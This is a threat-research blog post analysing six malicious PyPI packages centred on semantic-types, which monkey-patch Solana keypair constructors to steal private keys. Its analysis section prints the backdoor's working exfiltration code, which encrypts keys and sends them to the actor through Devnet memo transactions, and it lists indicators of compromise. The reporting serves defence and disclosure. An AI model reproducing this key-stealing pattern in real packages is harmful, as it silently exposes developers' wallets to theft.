
Research
/Security News
60 Malicious Ruby Gems Used in Targeted Credential Theft Campaign
A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.
Kirill Boychenko
May 29, 2025
Socket’s Threat Research Team uncovered a supply chain attack on the Python Package Index (PyPI), orchestrated by a threat actor using the alias cappership
. The threat actor embedded a covert key‑stealing payload inside the Python package semantic‑types
and made five other packages (solana-keypair
, solana-publickey
, solana‑mev‑agent‑py
, solana‑trading‑bot
, and soltrade
) depend on it. This transitive dependency means a single pip install
for any of the other five libraries automatically fetches and executes the hidden payload.
Once imported, the malware monkey-patches Solana key-generation methods by modifying functions at runtime without altering the original source code. Each time a keypair is generated, the malware captures the private key. It then encrypts the key using a hardcoded RSA‑2048 public key and encodes the result in Base64. The encrypted key is embedded in a spl.memo
transaction and sent to Solana Devnet, where the threat actor can retrieve and decrypt it to gain full access to the stolen wallet.
The threat actor created polished README files and linked the malicious packages to legitimate Stack Overflow posts and GitHub repositories to lend credibility and conceal malicious intent. Collectively, the six packages have been downloaded more than 25,900 times, exposing thousands of developer environments and CI pipelines to silent wallet theft. At the time of publication, the packages remain live on PyPI. We have petitioned the repository for their removal.
semantic-types
Delivers the Malicious Payload Through Dependencies#When any of the five packages declare install_requires = ["semantic-types>=0.1.2"]
(or a comparable requirement) in their setup metadata, pip
will silently download and import semantic‑types
whenever someone installs, upgrades, or runs those packages. That transitive pull guarantees the threat actor’s code executes even if the victim never imports semantic‑types
directly. The moment a developer types e.g. pip install solana-keypair
, the resolver fetches semantic‑types
, its malicious __init__.py
runs, and every subsequent Solana keypair
created on the infected system is exfiltrated.
semantic-types is the core malicious package. The five other packages (solana-keypair, solana-publickey, solana-mev-agent-py, solana-trading-bot, and soltrade) all depend directly on semantic-types. This makes them transitive carriers of the payload. Installing any of these packages causes semantic-types to be installed and executed automatically.
Monkey patching is a dynamic technique in Python that replaces functions or methods at runtime without modifying the source code on disk. It typically involves reassigning an existing method name to a new function.
In this campaign, the threat actor monkey-patched several constructor methods in the Keypair
class from the solders
library, including:
Keypair.from_seed(...)
Keypair.from_bytes(...)
Keypair.from_base58_string(...)
These constructors were replaced with wrapper functions that still return a valid keypair but also:
spl.memo
transaction on Solana DevnetAny time a keypair is created, the private key is silently captured and sent to the threat actor, bypassing user awareness and conventional detection mechanisms. All six malicious packages either directly import or transitively depend on solders
, positioning it as the central entry point for runtime compromise.
Below are code snippets of the backdoor functionality, annotated with inline comments:
# Hardcoded RSA‑2048 public key for the threat actor
pycrypto_pubkey = b"-----BEGIN PUBLIC KEY-----...END PUBLIC KEY-----"
cipher = PKCS1_OAEP.new(RSA.import_key(pycrypto_pubkey))
# Fixed threat actor keypair used to sign the memo transaction
# This ensures all exfiltrated data originates from the same on-chain wallet
sender = Keypair.from_seed([69, 192, 223, 24, 139, 168, 1, 225,
241, 77, 160, 94, 138, 51, 99,
66, 33, 79, 248, 44, 140, 29, 179,
96, 232, 4, 240, 241, 84, 191, 182, 82])
def transmit(kp_bytes):
# Solana Devnet RPC endpoint
client = Client(cluster_api_url("devnet"))
# Encrypt the private key and encode as Base64 for transport
# The encrypted payload is embedded in a memo instruction
memo_ix = create_memo(
MemoParams(
program_id = MEMO_PROGRAM_ID,
signer = sender.pubkey(),
message = base64.b64encode(cipher.encrypt(kp_bytes)),
)
)
# Construct a VersionedTransaction containing only the memo instruction
# Send it to the blockchain, where it will be publicly recorded
msg = MessageV0.try_compile(
payer = sender.pubkey(),
instructions = [memo_ix],
address_lookup_table_accounts = [],
recent_blockhash = client.get_latest_blockhash().value.blockhash,
)
client.send_transaction(VersionedTransaction(msg, [sender]), opts = TxOpts(skip_preflight = True))
def augment_func(func):
def wrapper(self, *args, **kwargs):
kp = func(self, *args, **kwargs)
# Launch a background thread to exfiltrate the key asynchronously
threading.Thread(target = transmit,
args = (bytes(kp),),
daemon = True).start()
return kp
return wrapper
# Replace original Keypair constructor methods with wrapped versions
# This enables covert exfiltration during normal keypair generation
for original, alias in method_pairs:
setattr(Keypair, alias, getattr(Keypair, original))
setattr(Keypair, original, augment_func(getattr(Keypair, alias)))
The package semantic-types
is designed to exfiltrate Solana private keys. By embedding itself into the normal key-generation process, it intercepts newly created wallet secrets at the moment of generation and forwards them to the threat actor. The stolen keys are encrypted using a hardcoded RSA-2048 public key, ensuring that only the threat actor, who holds the corresponding private key, can decrypt and misuse them. Additionally, five other packages published by the same threat actor (solana-keypair
, solana-publickey
, solana-mev-agent-py
, solana-trading-bot
, and soltrade
) explicitly list semantic-types
as a dependency.
Exfiltration is performed via a legitimate Solana RPC endpoint api.devnet.solana.com
and embedded in a standard spl.memo
transaction. This method allows the payload to bypass traditional network defenses and endpoint detection systems, which often focus on suspicious domains or outbound HTTP traffic.
Each time a project calls Keypair.from_seed
or related methods, the monkey-patched wrapper silently spawns a background thread that transmits the 64-byte raw private key to the blockchain. Because the data is encrypted and wrapped in a memo transaction, it appears indistinguishable from routine wallet activity, making the attack both stealthy and operationally resilient.
Socket AI Scanner’s analysis, including contextual details about the malicious semantic‑types package.
semantic-types 0.1.2
is published. On the same day, the threat actor also releases solana-trading-bot 0.1.0
, which declares semantic-types
as a dependency. No malicious code is present yet.semantic-types 0.1.4
, solana-trading-bot 0.1.1
, and soltrade 0.1.1
. All dependencies remain benign at this stage, allowing early adopters to install a clean dependency tree and build trust.semantic-types 0.1.5
introduces the malicious payload, which monkey-patches solders.keypair.Keypair
constructors to exfiltrate Solana private keys. The same day, solana-mev-agent-py 0.1.0
and solana-keypair 0.1.0
are published, both depending on and embedding the malicious logic, expanding the campaign’s reach.semantic-types 0.1.6
, repackages the same malicious payload. This targets users who pin versions loosely (e.g., semantic-types~=0.1
) and ensures that the malware reaches projects that update automatically.solana-keypair 0.2.1
and solana-publickey 0.2.1
, are released. Marketed as compatibility shims (i.e. interface-matching compatibility wrappers), both import semantic-types
, thereby transitively executing the backdoor. These additions help widen the blast radius while giving the appearance of useful tooling for Solana developers.The threat actor behind the six malicious PyPI packages employed targeted social engineering techniques to obscure their true intent and blend into the developer ecosystem. By crafting polished README files and linking to legitimate resources, they sought to establish credibility and encourage adoption among developers working with Solana blockchain platform.
Their focus on Solana-related tooling suggests deliberate targeting of developers in the blockchain space, where compromised systems can yield access to private keys, smart contract credentials, and other high-value assets.
1. Polished Documentation
Each malicious package included a professionally structured README designed to mimic trusted open-source projects. These documents featured clear usage instructions, working code examples, and language aligned with best practices—conveying a sense of legitimacy to casual reviewers or automated scanners.
The solana-mev-agent-py malicious package features a polished project page and README, mimicking legitimate open source tools with structured descriptions, external links, and stylized visuals; tactics used by the threat actor to build credibility.
2. Strategic Linking to Legitimate Resources
The threat actor enriched package metadata with links to real Stack Overflow discussions, GitHub repositories, and official Solana documentation. For example, the solana-keypair
package linked to a genuine Stack Overflow thread about import errors—an issue familiar to developers. This tactic reinforced the appearance of authenticity by embedding the malicious tools within realistic developer workflows.
The solana-keypair malicious package linked to this legitimate Stack Overflow post about a common import error, leveraging real developer pain points to enhance trust and disguise malicious intent.
3. Imitation of Popular Tools
Package names and descriptions were carefully chosen to resemble legitimate modules used in the Solana development community. By aligning with naming conventions from trusted packages (such as solders.keypair
, solana.keypair
, Solana’s MEV tools and trading bots), the threat actor exploited brand familiarity to lower suspicion and increase the likelihood of adoption.
The discovery of a transitive supply chain attack leveraging semantic‑types
, combined with the threat actor’s use of monkey patching, runtime exfiltration, and blockchain based delivery mechanisms, demonstrates the ongoing evolution of stealthy, persistent attack infrastructure designed to blend into legitimate development workflows.
Security teams should anticipate copycat campaigns that adopt similar methods: delayed payload delivery, strategic use of transitive dependencies, and abuse of trusted platforms like Stack Overflow and GitHub to bolster credibility. The tactic of writing exfiltrated data to public blockchain memos may become a repeatable method for low-friction data theft, especially in cryptocurrency-adjacent developer ecosystems where such behavior appears routine.
Developers who installed or upgraded any of the six packages after January 26, 2025 must treat every Solana private key on that machine as compromised. In corporate settings where the malicious packages were incorporated into internal repositories, the tainted dependency may already reside in artifact caches, poisoning future builds. Because the memo
is broadcast on‑chain, the threat actor can replay the ledger to collect historic keys, then sweep funds whenever a wallet balance appears on mainnet
.
To counter this trend, defenders should prioritize deep inspection of nested dependencies, enforce stricter CI/CD pipeline controls, and implement behavioral detection tuned to post-install anomalies, such as unauthorized cryptographic operations or background threads spawned during package import. Organizations should adopt continuous dependency scanning to detect suspicious transitive relationships and runtime modification techniques. The free Socket GitHub app and CLI can flag hidden code execution paths and monkey-patching behavior during pull requests and package installs, while the Socket browser extension helps developers identify risky packages and maintainers in real time while browsing online.
semantic‑types
solana‑keypair
solana‑publickey
solana‑mev‑agent‑py
solana‑trading‑bot
soltrade
cappership
— PyPI aliascappership@proton[.]me
— PyPI registration emailD782zqWjgSvy4hQoqzY1ySrGrotnXm1suJeXFur8sAko
— threat actor’s Solana public key5a4d8480c9d1e82ba102f200258882fb9e694e8fc0343b6982c5540beccdca62
— RSA‑2048 public key fingerprint (SHA‑256)----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArlNeyuMyZoaTDzttqND2 0RMGxtM2gUj4kQZ7bhqjNz53V3dAuyLRRLwqssqCIyyTJbOS18X6+QEZ47h4DKDw Oq2N5k1dkwSmFeJygNc2nYjJCNlgdx+AzfChc61Yzh9Nw2HT4r4DJRLDaIhkA2eH hPySRymvj7P/FS6Hnq7gbEY22wDItNb2sz8S6+o3nT7oHDVKn8bcxxZGLgYk5PVY 6tr1LmkNw+TrZLTrnAQ8ULkPSM0ww58RLx3NfmcYGoXdbIRmsWiN2svJ9EluZzv+ FOvQhdASVaD2KSVXJNPgKozUOlFnSp3vIyd1v1RAtFiGTbdPVOInRzVPnkQWDJCh OQIDAQAB -----END PUBLIC KEY-----
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Research
/Security News
A RubyGems malware campaign used 60 malicious packages posing as automation tools to steal credentials from social media and marketing tool users.
Research
/Security News
Two npm packages masquerading as WhatsApp developer libraries include a kill switch that deletes all files if the phone number isn’t whitelisted.
Research
/Security News
Socket uncovered 11 malicious Go packages using obfuscated loaders to fetch and execute second-stage payloads via C2 domains.